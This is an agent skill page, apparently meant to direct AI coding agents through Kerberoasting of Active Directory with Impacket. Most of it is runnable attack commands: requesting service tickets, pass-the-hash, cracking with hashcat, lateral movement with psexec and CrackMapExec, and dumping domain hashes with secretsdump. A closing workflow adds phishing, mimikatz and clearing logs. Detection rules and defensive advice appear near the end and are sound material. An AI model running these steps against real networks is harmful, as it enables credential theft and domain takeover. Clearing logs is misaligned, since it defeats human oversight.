# Exploiting Kerberoasting With Impacket > Request TGS tickets for all Kerberoastable accounts - Skill: `wufufu770/exploiting-kerberoasting-with-impacket` (Agent Skill) - Install (CLI): `npx skillmds@latest add wufufu770/exploiting-kerberoasting-with-impacket` - Raw SKILL.md: https://api.skillmd.com/api/skills/wufufu770/exploiting-kerberoasting-with-impacket/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Coding & Dev Tools - License: Apache-2.0 - Author: wufufu770 (https://skillmd.com/u/wufufu770) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/wufufu770/exploiting-kerberoasting-with-impacket --- ## TL;DR - **目的**：Perform Kerberoasting to extract and crack Kerberos TGS tickets for service accounts with SPNs using Impacket GetUserSPNs.py. - **适用**：AD / 网络渗透 - **输入**：AD 域 DC IP + 普通域用户账号 - **输出**：渗透证据链 + 复现步骤 - **红线**：仅限授权范围内；扫描限速 `-c 10 -rl 10`；所有动作记 oplog - **关联**：上游：003-src-session-start → 下游：097-exploiting-active-directory-with-bloodhound, 098-exploiting-adcs-with-certipy, 079-enumerating-cloud-with-cloudfox ## When to Use - Target presents indicators of the vulnerability class this skill covers - Fingerprint or recon indicates the relevant technology stack is in use - Authorized testing scope covers the target endpoint or component - Findings need to be validated through this skill's methodology ## When NOT to Use - Target is clearly outside this skill's scope (refer to other web-vulns skills) - No authorization for testing - Need reconnaissance rather than exploitation (use 1-recon-osint skills instead) ## Step 2: Request TGS Tickets ```bash # Request TGS tickets for all Kerberoastable accounts GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request # Request ticket for a specific SPN GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request-user svc_sql # Output format (hashcat-compatible): # $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123... # Save to file for cracking GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request -outputfile kerberoast_hashes.txt # Using NTLM hash instead of password (Pass-the-Hash) GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \ -dc-ip 10.10.10.1 -request -outputfile hashes.txt # Request AES tickets (if available) GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request -outputfile hashes.txt ``` ## Step 3: Crack TGS Tickets Offline ```bash # Hashcat - RC4 encrypted tickets (mode 13100) hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \ --rules-file /usr/share/hashcat/rules/best64.rule # Hashcat - AES-256 encrypted tickets (mode 19700) hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # John the Ripper john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt # Check results hashcat -m 13100 kerberoast_hashes.txt --show # $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024! ``` ## Step 4: Validate and Use Cracked Credentials ```bash # Verify cracked credentials crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local # Check for local admin access crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth # Use credentials for lateral movement psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local # If service account is Domain Admin secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm ``` ## Alternative Tools ### Rubeus (Windows) ```powershell # Kerberoast all accounts .\Rubeus.exe kerberoast /outfile:hashes.txt # Target specific user .\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt # Request RC4-only tickets (easier to crack) .\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt # Kerberoast with AES .\Rubeus.exe kerberoast /aes /outfile:hashes.txt ``` ### PowerView (PowerShell) ```powershell Import-Module .\PowerView.ps1 Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt ``` ## Targeted Kerberoasting High-value targets for Kerberoasting: | Account Type | Why | Risk | |---|---|---| | Service accounts in Domain Admins | Direct path to domain compromise | Critical | | SQL service accounts (MSSQLSvc) | Often have excessive privileges | High | | Exchange service accounts | Access to all email | High | | Accounts with AdminCount=1 | Previously/currently privileged | High | | Accounts with old passwords | More likely to use weak passwords | Medium | ## Detection ### Windows Event Logs ``` Event ID 4769 - Kerberos Service Ticket Request - Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected - Monitor for: Single user requesting many TGS tickets in short period - Monitor for: Service ticket requests from unusual source IPs ``` ### Sigma Rule ```yaml title: Potential Kerberoasting Activity status: stable logsource: product: windows service: security detection: selection: EventID: 4769 TicketEncryptionType: '0x17' # RC4 ServiceName|endswith: '$' filter: ServiceName: 'krbtgt' condition: selection and not filter level: medium tags: - attack.credential_access - attack.t1558.003 ``` ## Defensive Recommendations 1. **Use Group Managed Service Accounts (gMSA)** - 240-character random passwords, auto-rotated 2. **Set strong passwords (25+ chars)** on all service accounts 3. **Enable AES-only encryption** - Disable RC4 via GPO 4. **Monitor Event ID 4769** for RC4 TGS requests 5. **Implement Managed Service Accounts** where gMSA is not feasible 6. **Regular audits** - Run BloodHound to identify Kerberoastable accounts 7. **Protected Users group** - Add sensitive service accounts 8. **Honeypot SPNs** - Create decoy accounts with SPNs to detect attacks ## References - MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/ - Impacket: https://github.com/fortra/impacket - Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1 - Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/ ## Output Format ```json { "attack_path": "", "steps": [ {"step": 1, "action": "", "tool": "", "result": ""}, ... ], "evidence": "", "impact": "", "cleanup": "" } ``` Save to `share/intel/findings/-.md`. ## Tools & Systems - **BloodHound** — AD attack path graph - **Impacket** — Python AD exploitation toolkit - **CrackMapExec** — AD/SMB enumeration & exploitation - **Certipy** — AD CS exploitation - **NetExec** — Modern CrackMapExec fork - **evilginx2** — AiTM credential harvesting - **Mimikatz** — Windows credential extraction All tools require prior `002-src-session-start` confirmation for A mode. B mode禁用所有攻击工具。 ## Workflow 1. **Recon** — BloodHound collection via SharpHound or bloodhound-python 2. **Path analysis** — Identify shortest path to DA via BloodHound UI 3. **Initial access** — Phishing (evilginx) or valid creds (compromised) 4. **Lateral movement** — CrackMapExec / Impacket / NetExec across hosts 5. **Privilege escalation** — ADCS, Kerberoast, Shadow Credentials, etc. 6. **DA/DC compromise** — DCSync or mimikatz sekurlsa::logonpasswords 7. **Cleanup** — Remove artifacts, clear logs (if authorized)